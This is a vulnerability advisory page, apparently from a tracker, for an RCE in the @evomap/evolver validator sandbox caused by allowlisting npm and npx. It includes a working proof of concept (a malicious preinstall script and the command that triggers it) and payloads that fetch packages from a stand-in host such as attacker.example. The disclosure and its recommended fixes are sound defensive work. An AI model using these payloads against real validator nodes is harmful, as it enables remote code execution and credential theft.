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OSV ecosystem advisory

GHSA-jxh8-jh77-xh6g: @evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts

HighCVSS 8.1 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 32/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. Special conditions such as timing or configuration are required.
  • Fixed version: @evomap/evolver (npm) 1.70.0-beta.5.

Low priority for now. Upgrade to @evomap/evolver (npm) 1.70.0-beta.5 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary The validator-mode sandbox executor (`src/gep/validator/sandboxExecutor.js`) places `npm` and `npx` in its hard executable allowlist. Because `npm install <pkg>` and `npx -y -p <pkg> <bin>` execute arbitrary code by design (preinstall/install/postinstall lifecycle scripts and remote-package bin entries), and because validator nodes consume `validation_commands` strings from unsigned Hub responses with no per-response signature check, an attacker who controls or MITMs the Hub achieves automatic remote code execution on every validator node within one daemon poll (default 60s). ## Details End-to-end chain: 1. `src/gep/validator/index.js:71-87` — `fetchValidationTasks()` POSTs to `<hub>/a2a/fetch` and reads `validation_tasks` from the JSON response. The outbound request is signed via `buildHubHeaders()`, but the Hub's response is parsed directly with `await res.json()` and no signature is verified on `data.payload`. 2. `src/gep/validator/index.js:98-108` — `validateOneTask()` extracts `task.validation_commands` (an array of attacker-controlled strings) and passes it straight to `runInSandbox(commands, {})`. No call to `policyCheck.isValidationCommandAllowed()` happens on this path. The author's own comment at `sandboxExecutor.js:41-42` acknowledges this gap: *"This closes the gap where validation_commands go straight from Hub to runInSandbox without passing through policyCheck.isValidationCommandAllowed()."* 3. `src/gep/validator/sandboxExecutor.js:172-218` — `runSingleCommand` calls `parseCommand(cmd)`, then checks `ALLOWED_EXECUTABLES.has(parsed.executable)`: ```js // sandboxExecutor.js:35 const ALLOWED_EXECUTABLES = new Set(['node', 'npm', 'npx']); ``` `parseCommand` only rejects shell metacharacters (`| & ; > < \` $`) and unbalanced quotes. A string like `npm install /tmp/evil-pkg --no-audit --no-fund` contains none of those and parses cleanly into `{ executable: 'npm', args: [...] }`. 4. `sandboxExecutor.js:54-66` — `assertNodeCommandSafe` is a no-op for non-`node` executables: ```js function assertNodeCommandSafe(parsed) { if (parsed.executable !== 'node') return; // npm/npx skip every check ... } ``` The `BLOCKED_NODE_FLAGS` set (`-e`, `-r`, `--loader`, etc.) therefore never gates `npm` or `npx` invocations. 5. `sandboxExecutor.js:213` — `spawn('npm', [...], { shell: false, cwd: sandboxDir, env })` runs `npm`. npm's documented behavior is to execute the package's `preinstall`, `install`, and `postinstall` scripts; `npx` downloads a remote package and executes its `bin` entry. Both yield arbitrary code execution in the validator process's UID/permissions. 6. `src/gep/validator/index.js:189` — the validator daemon polls every 60s by default (`EVOLVER_VALIDATOR_DAEMON_INTERVAL_MS`), and validator mode is **on by default** since v1.69.0 (`isValidatorEnabled()` returns `true` unless explicitly disabled, `index.js:25-34`). The "sandbox" is nominal: it sets a fresh `cwd` and a stripped env (HOME → tmpdir to hide `~/.npmrc`/`~/.ssh`), but `PATH` is preserved (so `npm`/`npx` resolve), there is no container/chroot/seccomp/uid drop, and nothing prevents the spawned process from writing arbitrary files, opening outbound connections, or reading any file readable by the validator process. The author's documented threat model at `sandboxExecutor.js:31-34` explicitly includes Hub compromise: > "Any command whose first token is not in this set is rejected before spawn(). This prevents command injection via Hub-delivered task.command strings even if Hub itself is compromised or mis-signs a task." Putting `npm` and `npx` on that allowlist defeats that stated goal — both are arbitrary-code-execution-by-design tools. ## PoC Reproduced against v1.70.0-beta.4 (HEAD on `main`): Step 1 — plant a malicious package locally (the remote-tarball variant works identically; npm fetches and runs lifecycle scripts in both cases): ```bash mkdir -p /tmp/evil-pkg-validator cat > /tmp/evil-pkg-validator/package.json <<'EOF' { "name":"evil-pkg-validator","version":"1.0.0", "scripts":{ "preinstall":"node -e \"require('fs').writeFileSync('/tmp/pwned-by-validator-test','RCE uid='+process.getuid()+' time='+Date.now())\"" } } EOF ``` Step 2 — invoke the exact code path used by `validateOneTask()` when the Hub returns a task with `validation_commands: ["npm install /tmp/evil-pkg-validator --no-audit --no-fund"]`: ```bash rm -f /tmp/pwned-by-validator-test node -e " const s = require('./src/gep/validator/sandboxExecutor'); s.runInSandbox( ['npm install /tmp/evil-pkg-validator --no-audit --no-fund'], { cmdTimeoutMs: 60000 } ).then(o => { console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode); console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8')); });" ``` Observed output (verified): ``` overallOk: true exitCode: 0 PWNED: RCE uid=0 time=1777213140205 ``` The sandbox reports `overallOk: true` (it sees a clean exit-0 from `npm`), while the preinstall script has already written `/tmp/pwned-by-validator-test` outside the sandbox directory — uncontained code execution as the validator UID. Remote-only variant (no local file required): a compromised or MITM'd Hub returns: ```json { "validation_commands": ["npm install https://attacker.example/evil.tgz --no-audit --no-fund"] } ``` or ```json { "validation_commands": ["npx -y -p evil-pkg@1.0.0 evil-cmd"] } ``` Both pass `parseCommand()` (no shell metacharacters), pass `ALLOWED_EXECUTABLES.has('npm'|'npx')`, and `assertNodeCommandSafe` is a no-op for them. npm/npx fetch the remote tarball and execute its lifecycle/bin scripts on the validator host. ## Impact - **Arbitrary code execution** as the evolver/validator process UID on every validator node that polls the malicious Hub (one cycle ≈ 60s by default). - **Credential exfiltration**: HUB_NODE_SECRET, A2A node identity, any cloud/cred material readable by the process. - **Persistence / lateral movement**: write to user-writable cron, systemd-user units, shell rc files; pivot into the host's container / VM. - **Wormable across the network**: a single Hub compromise auto-RCEs every node running validator mode — and validator mode is opt-out / on by default since v1.69.0. - **Defeats the documented sandbox guarantee**: the executor advertises defense against a compromised Hub; in practice, two of its three allowed binaries are arbitrary-code-execution tools. ## Recommended Fix Remove `npm` and `npx` from `ALLOWED_EXECUTABLES`. Validation tasks need only `node <script>`: ```js // src/gep/validator/sandboxExecutor.js const ALLOWED_EXECUTABLES = new Set(['node']); ``` If `npm test` / `npx vitest` style commands must remain reachable from the Hub path, harden them explicitly: ```js function assertNpmCommandSafe(parsed) { if (parsed.executable !== 'npm' && parsed.executable !== 'npx') return; // Block install/exec/run-script that fetch or execute lifecycle scripts. const sub = parsed.args.find((a) => !a.startsWith('-')); const FORBIDDEN = new Set(['install', 'i', 'add', 'ci', 'exec', 'x', 'run', 'run-script', 'rebuild', 'pack', 'publish']); if (FORBIDDEN.has(sub)) { throw new Error('npm/npx subcommand not allowed in sandbox: ' + sub); } // Require --ignore-scripts on every npm invocation as defense-in-depth. if (parsed.executable === 'npm' && !parsed.args.includes('--ignore-scripts')) { throw new Error('npm in sandbox requires --ignore-scripts'); } // npx always fetches+executes — disallow entirely. if (parsed.executable === 'npx') { throw new Error('npx is not allowed in sandbox'); } } ``` Additionally: 1. **Sign the Hub's `/a2a/fetch` *response*** the same way outbound requests are signed (`buildHubHeaders`). Verify the signature on `data.payload` in `fetchValidationTasks` before handing tasks to `runInSandbox`. This closes the network-MITM variant that does not require Hub compromise. 2. **Run `runInSandbox` under real isolation** — drop privileges, disable network, mount tmpfs, apply seccomp — rather than relying solely on an allowlist. The current `buildSandboxEnv` only redirects `HOME`/`TMPDIR`; the spawned process otherwise has full host access. 3. **Apply `policyCheck.isValidationCommandAllowed()` to Hub-delivered `validation_commands`** in `validateOneTask`, mirroring the gate that already exists for capsule-derived commands in `solidify.js` / `skill2gep.js`.

Published
May 5, 2026
Updated
May 5, 2026
EPSS
—

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JSON

Action score

32

Monitor

Low priority for now.

CVSS
32 / 40 · 8.1 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

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Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
npm@evomap/evolver

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npm@evomap/evolverbefore 1.70.0-beta.51.70.0-beta.5

Same product

npm: all records

Other highest-scoring records for the same primary product.

  • GHSA-cfcj-hqpf-hccf@evomap/evolver: Path Traversal in `evolver fetch` default-branch `safeId` allows Hub-controlled overwrite of project files (RCE)
    35Monitor
  • GHSA-7xp7-m392-h92c@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS
    24Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
npm:@evomap/evolver1.70.0-beta.5Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • Special conditions such as timing or configuration are required.

If successful

Confidentiality
high · data can be read
Integrity
high · data or configuration can be modified
Availability
high · the service can be disrupted
Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
High
Integrity impact
High
Availability impact
High

CVSS vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

osv

Root cause

User input is inserted as text into a shell command. The shell may interpret special characters in the input as part of the command.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
const host = req.body.host;exec("ping -c 1 " + host, onResult);

Fixed

ts
const host = req.body.host;if (!/^[a-z0-9.-]{1,253}$/i.test(host)) return res.sendStatus(400);execFile("ping", ["-c", "1", host], onResult);

References

Show all references (1 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

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